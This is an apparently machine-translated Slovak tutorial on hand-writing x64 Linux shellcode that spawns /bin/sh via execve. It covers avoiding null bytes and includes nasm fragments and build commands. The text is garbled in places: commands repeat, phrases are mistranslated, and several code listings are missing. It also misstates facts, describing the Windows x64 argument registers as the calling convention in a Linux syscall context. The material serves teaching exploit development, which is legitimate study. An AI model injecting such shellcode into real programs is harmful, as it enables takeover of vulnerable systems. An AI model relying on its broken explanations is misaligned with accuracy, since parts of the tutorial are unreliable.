Na kompiláciu shell kódu potrebujeme kompilátor a linker. Budeme používať nasm a ld. Na otestovanie shell kódu napíšeme malý program v C. Na jeho kompiláciu potrebujeme gcc. Niektoré kontroly budú vyžadovať rasm2(časť rámca radare2). Na písanie pomocných funkcií použijeme Python.

Čo je nové v x64?

x64 je rozšírením architektúry IA-32. Jeho hlavnou charakteristickou črtou je podpora 64-bitových všeobecných registrov, 64-bitových aritmetických a logických operácií s celými číslami a 64-bitových virtuálnych adries.

Konkrétnejšie, všetky 32-bitové všeobecné registre sú zachované, ich rozšírené verzie sú pridané ( rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp) a niekoľko nových všeobecných registrov ( r8, r9, r10, r11, r12, r13, r14, r15).

Objaví sa nová volacia konvencia (na rozdiel od x86 architektúry je len jedna). Podľa neho sa pri volaní funkcie každý register používa na špecifické účely, a to:

  • prvé štyri celočíselné argumenty funkcie prechádzajú cez registre rcx, rdx, r8 a r9 a prostredníctvom registrov xmm0 - xmm3 pre typy s pohyblivou rádovou čiarkou;
  • ostatné parametre sa prenesú do zásobníka;
  • pre parametre prechádzajúce cez registre je stále rezervovaný priestor v zásobníku;
  • výsledok funkcie sa vráti cez register rax pre celočíselné typy alebo cez register xmm0 pre typy s pohyblivou rádovou čiarkou;
  • rbp obsahuje ukazovateľ na základňu zásobníka, teda miesto (adresu), kde zásobník začína;
  • rsp obsahuje ukazovateľ na vrch zásobníka, teda na miesto (adresu), kde bude umiestnená nová hodnota;
  • rsi, rdi používaný v syscall.

Trochu o zásobníku: keďže adresy sú teraz 64-bitové, hodnoty v zásobníku môžu mať veľkosť 8 bajtov.

syscall. Čo? Ako? Za čo?

Syscall je spôsob interakcie užívateľského režimu s jadrom v Linuxe. Používa sa na rôzne úlohy: I/O operácie, písanie a čítanie súborov, otváranie a zatváranie programov, práca s pamäťou a sieťovanie atď. S cieľom splniť syscall, potrebné:

Vložte zodpovedajúce číslo funkcie do registra rax;
načítať vstupné parametre do iných registrov;
spúšťacie číslo prerušenia 0x80(od verzie jadra 2.6 sa to robí volaním syscall).

Na rozdiel od systému Windows, kde stále musíte nájsť adresu požadovanej funkcie, je tu všetko celkom jednoduché a stručné.

Čísla požadovaných funkcií syscall možno nájsť napr.

execve()

Ak sa pozrieme na hotové shell kódy, mnohé z nich funkciu využívajú exec().

execve() má nasledujúci prototyp:

Volá program NÁZOV SÚBORU. Program NÁZOV SÚBORU môže byť buď spustiteľný binárny súbor alebo skript, ktorý začína riadkom #! tlmočník.

argv je ukazovateľ na pole, v skutočnosti je to to isté argv, ktorý vidíme napríklad v C alebo Pythone.

envp- ukazovateľ na pole popisujúce prostredie. V našom prípade sa nepoužíva, záleží na tom nulový.

Základné požiadavky na shell kód

Existuje niečo ako kód nezávislý od pozície. Toto je kód, ktorý sa spustí bez ohľadu na to, odkiaľ je načítaný. Aby sa náš shell kód mohol spustiť kdekoľvek v programe, musí byť nezávislý od pozície.

Najčastejšie je kód shellu načítaný funkciami ako strcpy(). Podobné funkcie používajú bajty 0x00, 0x0A, 0x0D ako oddeľovače (závislé od platformy a funkcií). Preto je lepšie takéto hodnoty nepoužívať. V opačnom prípade môže funkcia skopírovať shell kód neúplne. Zvážte nasledujúci príklad:

$ rasm2 -a x86 -b 64 "push 0x00" 6a00

$ rasm2 - a x86 - b 64 "push 0x00"

6a00

Ako vidíte, kód stlačiť 0x00 kompiluje do nasledujúcich bajtov 6a00. Ak by sme použili takýto kód, náš shell kód by nefungoval. Funkcia by skopírovala všetko až do bajtu s hodnotou 0x00.

V shell kóde nemôžete použiť „pevne zakódované“ adresy, pretože tieto adresy vopred nepoznáme. Z tohto dôvodu sa všetky riadky v kóde shell získavajú dynamicky a ukladajú sa do zásobníka.

Zdá sa, že to je všetko.

LEN TO UROB!

Ak ste dočítali až sem, potom by ste už mali mať obraz o tom, ako bude náš shell kód fungovať.

Prvým krokom je pripraviť parametre pre funkciu execve() a potom ich správne alokovať v zásobníku. Funkcia bude vyzerať takto:

Druhým parametrom je pole argv. Prvý prvok tohto poľa obsahuje cestu k spustiteľnému súboru.

Tretím parametrom sú informácie o prostredí, tie nepotrebujeme, takže bude záležať nulový.

Najprv dostaneme nulový bajt. Nemôžeme použiť štruktúru ako mov eax, 0x00, pretože by to viedlo k nulovým bajtom v kóde, takže použijeme nasledujúcu inštrukciu:

xor rdx, rdx

Nechajte túto hodnotu v registri rdx- stále bude potrebný ako znak konca riadka a hodnota tretieho parametra (ktorý bude null).

Keďže zásobník rastie z vyšších adries na nižšie, a funkcia execve() načíta vstupné parametre od nízkych po vysoké (to znamená, že zásobník pracuje s pamäťou v opačnom poradí), potom do zásobníka vložíme prevrátené hodnoty.

Obrátiť reťazec a preložiť ho do hex, môžete použiť nasledujúcu funkciu Pythonu:


Zavolajme túto funkciu pre /bin/sh: >>> rev.rev_str("/bin/sh")

"68732f6e69622f"

Získali sme nulový bajt (druhý bajt od konca), ktorý naruší náš shell kód. Aby sa to nestalo, využijeme skutočnosť, že Linux ignoruje koncové lomky (t.j. /bin/sh a /bin//sh- Toto je to isté).

>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"

Žiadne nulové bajty!

Potom na stránke hľadáme informácie o funkcii execve (). Pozeráme sa na číslo funkcie, ktoré sme vložili do rax - 59. Pozrime sa, ktoré registre sa používajú:
rdi- ukladá adresu reťazca NÁZOV SÚBORU;
rsi- ukladá adresu reťazca argv;
rdx- ukladá adresu reťazca envp.

Teraz zbierame všetko spolu.
Zatlačte znak konca riadku do zásobníka (nezabudnite, že všetko sa robí v opačnom poradí):

xor rdx, rdx push rdx

xor rdx, rdx

push rdx

Zatlačte šnúrku na stoh /bin//sh: mov rax, 0x68732f2f6e69622f
tlačiť rax

Získajte adresu reťazca /bin//sh na stoh a ihneď ho zatlačte na rdi: mov rdi, rsp

V rsi musíte umiestniť ukazovateľ na pole reťazcov. V našom prípade bude toto pole obsahovať iba cestu k spustiteľnému súboru, takže tam stačí dať adresu, ktorá odkazuje na pamäť, v ktorej leží adresa reťazca (v C smerník na ukazovateľ). Adresu linky už máme, je v registri rdi. Pole argv musí končiť nulovým bajtom, ktorý máme v registri rdx:

push rdx push rdi mov rsi, rsp

push rdx

tlačiť rdi

mov rsi , rsp

Teraz rsi ukazuje na adresu v zásobníku, ktorý obsahuje ukazovateľ na reťazec /bin//sh.

Vložili sme raxčíslo funkcie execve(): xor rax, rax
mov al, 0x3b

V dôsledku toho sme dostali takýto súbor:


Kompilujte a prepojte pod x64. Pre to:

$ nasm -f elf64 example.asm $ ld -m elf_x86_64 -s -o example example.o

$ nasm - f elf64 príklad .asm

$ ld - m elf_x86_64 - s - o príklad príklad .o

Teraz môžeme použiť objdump -d príklad pre zobrazenie výsledného súboru.